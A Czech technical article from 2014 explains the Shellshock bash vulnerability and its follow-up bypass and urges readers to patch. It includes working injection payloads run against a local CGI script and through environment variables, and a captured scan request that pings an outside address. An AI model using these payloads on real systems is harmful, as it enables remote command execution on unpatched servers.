Díra v bashi, které si 20 let nikdo nevšiml

Ondřej Caletka 26. 9. 2014

Ve středu odpoledne byla zveřejněna zpráva o kritické zranitelnosti nejpoužívanějšího linuxového shellu bash. A stejně jako nedávný Heartbleed je i tato chyba vzdáleně zneužitelná. Pojďme se podívat, jak může být chyba, označovaná jako Shellshock, v praxi zneužita a proč je potřeba aktualizovat bash podruhé.

Funkce, o které jsme nevěděli

Stejně jako v případě nedávného heartbleedu, jde o chybu ve funkci, kterou bash obsahuje velmi dlouho (přinejmenším od verze 1.14.0 z roku 1994; starší verze již nejsou na FTP), přestože o ní málokdo věděl. Konkrétně jde o možnost exportovat funkci tak, aby byla dostupná v podprocesu. Zadáte-li:

$ mojefunkce() {
>        echo "Ahoj světe"
> }
$ export -f mojefunkce 

bude vaše funkce exportována do podprocesů, takže spustíte-li následně podproces, například příkazem bash, bude funkce dostupná:

$ bash
$ mojefunkce
Ahoj světe
$ exit 

Není k dispozici mnoho kanálů, kterými by mohl shell tuto uživatelskou funkci předat, proto k předání používá proměnnou prostředí. Konkrétně volání export -f mojefunkce vytvoří v dětských procesech novou proměnnou prostředí shodného názvu, obsahující dvě kulaté závorky následované definicí funkce. Můžeme si to zkusit nasimulovat ručně:

$ druhafunkce="() { echo \"Ahoj druhý světe\"; }" bash
$ druhafunkce
Ahoj druhý světe
$ exit 

Bash při svém spuštění projde všechny proměnné prostředí a najde-li nějakou, jejíž obsah začíná dvěma kulatými závorkami, vyhodnotí její obsah, čímž je funkce nadefinovaná i v novém shellu.

Anketa

Jaký shell nejčastěji používáte?

Eval is evil

Tím se dostáváme k tradiční poučce, která se objevuje v každé příručce programování každého jazyka, který obsahuje funkci eval. To je funkce, která umožňuje vyhodnotit své argumenty, jako by to byly příkazy. Tím se stává velmi nebezpečnou, zvláště pak, je-li jako její argument použit nedostatečně ošetřený vstup od uživatele. Ukažme si to na jednoduchém příkladu s hypotetickou funkcí, která spočítá uživatelem dodaný matematický výraz:

$ vyraz="1+1"
$ eval 'echo $(( '$vyraz' ))'
2
$ vyraz="1+1 )) ; echo HACKED ;#"
$ eval 'echo $(( '$vyraz' ))'
2
HACKED 

Zranitelnost bashe používá zcela totožný mechanizmus. Během načítání proměnných prostředí se při načítání funkce nezastaví na konci definice, ale vyhodnocuje dále:

$ tretifunkce="() { :; }; echo HACKED" bash
HACKED
$ exit 

Máme-li tedy možnost ovládat proměnné prostředí, můžeme donutit bash spustit libovolný příkaz. Zranitelnost dostala označení CVE-2014–6271.

Útok první: CGI

Common Gateway Interface je historický standard, který poprvé změnil web ze statického obsahu na dynamický. Webový server s patřičným nastavením při požadavku na CGI skript takový skript spustí, informace o spojení spolu s klientskými hlavičkami nastaví jako proměnné prostředí, data od klienta pošle na standardní vstup CGI skriptu a očekává, že skript na standardní výstup vytiskne obsah, který má být poslán klientovi. Pojďme si zkusit napsat a spustit jednoduchý CGI skript, který vypíše IP adresu klienta:

$ mkdir cgi-bin
$ cat > cgi-bin/ip.sh <<EOF
> #!/bin/bash
>
> echo -e "Content-type: text/plain\r\n\r"
> echo -e "\${REMOTE_ADDR}"
> EOF
$ chmod +x cgi-bin/ip.sh
$ python3 -m http.server --cgi 8080 

Nyní můžeme z jiného okna vyzkoušet správnou funkci příkazem curl. A budeme-li chtít zneužít uvedenou zranitelnost, stačí jen trochu upravit třeba název prohlížeče:

$ curl localhost:8080/cgi-bin/ip.sh
127.0.0.1
$ curl localhost:8080/cgi-bin/ip.sh -A '() { :; }; echo HACKED >>/tmp/hack'
127.0.0.1
$ cat /tmp/hack
HACKED 

V ohrožení jsou i PHP, Perl a další webové aplikace

Naprostá většina webových aplikací bash takto přímo nepoužívá, to ale neznamená, že nemohou být zranitelné. Stačí aby aplikace třeba v PHP v některém místě volala popen() nebo system() pro spuštění externích příkazů. Pokud se totiž aplikace nepostará o vyčištění prostředí, může škodlivá proměnná průchod PHP v klidu přečkat a zaútočit až v okamžiku, kdy kód v PHP zavolá (prostřednictvím bashe) externí příkaz. Týká se to ale naštěstí jen případů, kdy je webová aplikace propojena s web serverem prostřednictvím CGI, což se (mimo jiné z výkonnostních důvodů) příliš často nepoužívá.

Útok druhý: obcházení SSH omezení

Druhý snadno realizovaný útok se může týkat všech služeb, které k přístupu používaji SSH s omezením přístupu (příkladem budiž třeba Git repozitář). Takové služby obvykle vnutí uživateli (volbou ForceCommand v OpenSSH) spuštění kontrolního skriptu, který zkontroluje obsah proměnné SSH_ORIGINAL_COMMAND a uzná-li oprávněnost uživatelského požadavku, akci provede. Je-li tento kontrolní skript v bashi, je zneužití přímočaré, stačí jako příkaz použít výše uvedenou magickou sekvenci. Riziko se týká především „podomácku“ vyráběných kontrolních skriptů, nástroje jako Gitosis nebo Gitolite bash nejspíše nepoužívají.

Útok třetí: DHCP server s volbou navíc

Tento scénář je obzvláště pikantní: Přijdete do restaurace, připojíte svůj notebook k místní WiFi a… váš počítač je hacknut, a to dokonce s root oprávněním. Stačí k tomu DHCP server, který pošle speciálně upravenou konfigurační volbu. Bývá zvykem, že DHCP klient pro vlastní nastavení volá shell skripty a předává jim přijaté volby právě prostřednictvím prostředí. Pokud je jako shell použit zranitelný bash, útoku nic nebrání.

Krok stranou: Na neinteraktivní skripty se bash nehodí

Společným bodem popsaných scénářů vzdálené zranitelnosti je, že se týká neinteraktivních skriptů. Pro ty je použítí bashe často suboptimálním řešením, neboť bash obsahuje poměrně komplexní podporu interaktivní práce (například doplňování pomocí tabulátoru), které jsou pro neinteraktivní skripty zbytečné a jen zdržují načítání skriptu.

Proto také již před lety vznikl v Debianu odlehčený shell dash, který je uživatelsky nepřívětivý, ale za to mnohem menší a rychlejší. Podporuje standard POSIX, ne však již rozšíření, která jsou specifická pro bash. Skripty obsahující bashismy proto musí být upraveny. Zcela nezávisle na této konkrétní zranitelnosti však lze pro vývoj nových shell skriptů použití takovýchto odlehčených shellů jen doporučit.

Skenování internetu již probíhá

Netrvalo dlouho a po internetu se rozběhly první skeny snažící se odhalit tuto zranitelnost. Jeden takový zaznamenal i honeypot v síti CESNET:

GET / HTTP/1.0
Accept: */*
Cookie: () { :; }; ping -c 17 209.126.230.74
Host: () { :; }; ping -c 23 209.126.230.74
Referer: () { :; }; ping -c 11 209.126.230.74
User-Agent: shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html) 

Zajímavý je způsob „volání domů“ příkazem ping. Na odkazované adrese jsou pak k dispozici výsledky, podle kterých je zranitelných víc než tři tisíce serverů a to i přesto, že test probíhal na kořenovou URL a bez uvedení správné hlavičky Host:. Dá se tedy očekávat, že skutečný počet zranitelných serverů bude mnohem vyšší.

Záplata až na druhý pokus

Současně se zveřejněním zranitelnosti byly k dispozici opravené verze bashe přinejmenším pro Debian Wheezy a RHEL. Tavis Ormandy ovšem na Twitteru poukázal na to, že první záplata neřešila problém zcela, stále bylo možné vložením nekompletní definice funkce zapsat libovolný obsah do libovolného souboru:

$ ctvrtafunkce='() { (a)=>\' bash -c '/tmp/hack echo HACKED'
bash: ctvrtafunkce: řádek 1: chyba syntaxe poblíž neočekávaného tokenu „=“
bash: ctvrtafunkce: řádek 1: `'
bash: chyba při importu definice „ctvrtafunkce“
$ cat /tmp/hack
HACKED 

Tato zranitelnost dostala označení CVE-2014–7169 a její opravy jsou distribuovány od čtvrtečního odpoledne. Pokud jste tedy aktualizovali dříve, nezbývá než proces opakovat.

Budou se podobné incidenty opakovat?

Podle toho, že se ani na první pokus nepodařilo bezpečně odstranit zranitelnost, je možné usuzovat, že zdrojový kód bash možná není v úplně nejlepší kondici. Vlna zájmu, kterou nedávno odhalená zranitelnost přitáhla, spolu s obrovským množstvím vzdáleně zneužitelných serverů, s jejichž kompromitací se nepochybně brzy začne, jistě způsobí, že parsovací funkce bashe budou dále podrobně zkoumány. Můžeme jen doufat, že případné další problémy budou při svém objevení náhlášeny namísto zneužití.

Je však třeba si uvědomit, že kromě možných zranitelností shellu jako takového je řádově vyšší obecný problém zranitelnosti nejrůznějších shellových skriptů. Není totiž vůbec jednoduché napsat složitější skript, který se bezpečně popere s libovolným vstupem, včetně vstupních dat obsahujících mezery, zpětná lomítka, dolary a uvozovky. Z toho důvodu se obecně doporučuje složitější problémy řešit raději v pokročilejších skriptovacích jazycích, jako jsou Python nebo Perl.

Další informace

Našli jste v článku chybu?
Vitalia.cz: Za její cukrovkou stojí rodiče

Za její cukrovkou stojí rodiče

Měšec.cz: TEST: Vyzkoušeli jsme pražské taxikáře

TEST: Vyzkoušeli jsme pražské taxikáře

Měšec.cz: 10 změn novely zákoníku práce

10 změn novely zákoníku práce

Lupa.cz: Kdo vykrádá LinkedIn? Zjistit to má soud

Kdo vykrádá LinkedIn? Zjistit to má soud

Měšec.cz: Ceny PHM v Evropě. Finty na úspory

Ceny PHM v Evropě. Finty na úspory

Root.cz: Xiaomi má vlastní notebook podobný Macu

Xiaomi má vlastní notebook podobný Macu

Měšec.cz: Na návštěvě na exekutorském úřadě

Na návštěvě na exekutorském úřadě

Podnikatel.cz: Chce dodávat chlebíčky. Jaká živnost je třeba?

Chce dodávat chlebíčky. Jaká živnost je třeba?

Vitalia.cz: „Sjíždět“ porno není bez rizika

„Sjíždět“ porno není bez rizika

Podnikatel.cz: Pozor na vykuky, imitují služby České pošty

Pozor na vykuky, imitují služby České pošty

Podnikatel.cz: Týká se vás EET? Chtějte od berňáku posudek

Týká se vás EET? Chtějte od berňáku posudek

DigiZone.cz: Jetelín končí. Prima ho vyřadila

Jetelín končí. Prima ho vyřadila

Měšec.cz: Co když na dovolené přijdete o kartu?

Co když na dovolené přijdete o kartu?

Lupa.cz: Elektronika tajemství zbavená. Jak s ní začít?

Elektronika tajemství zbavená. Jak s ní začít?

Podnikatel.cz: Kauza z Vinohrad pokračuje. Policie se omlouvá

Kauza z Vinohrad pokračuje. Policie se omlouvá

Vitalia.cz: Je bílý kokos fakt tak úžasný? Ano, je!

Je bílý kokos fakt tak úžasný? Ano, je!

Vitalia.cz: 9 potravin, které nesmí chybět v jídelníčku těhotné

9 potravin, které nesmí chybět v jídelníčku těhotné

Lupa.cz: Co najdete uvnitř kosmické sondy?

Co najdete uvnitř kosmické sondy?

Lupa.cz: Co vzal čas: internetové kavárny a herny

Co vzal čas: internetové kavárny a herny

Měšec.cz: Do ostravské MHD bez jízdenky. Stačí karta

Do ostravské MHD bez jízdenky. Stačí karta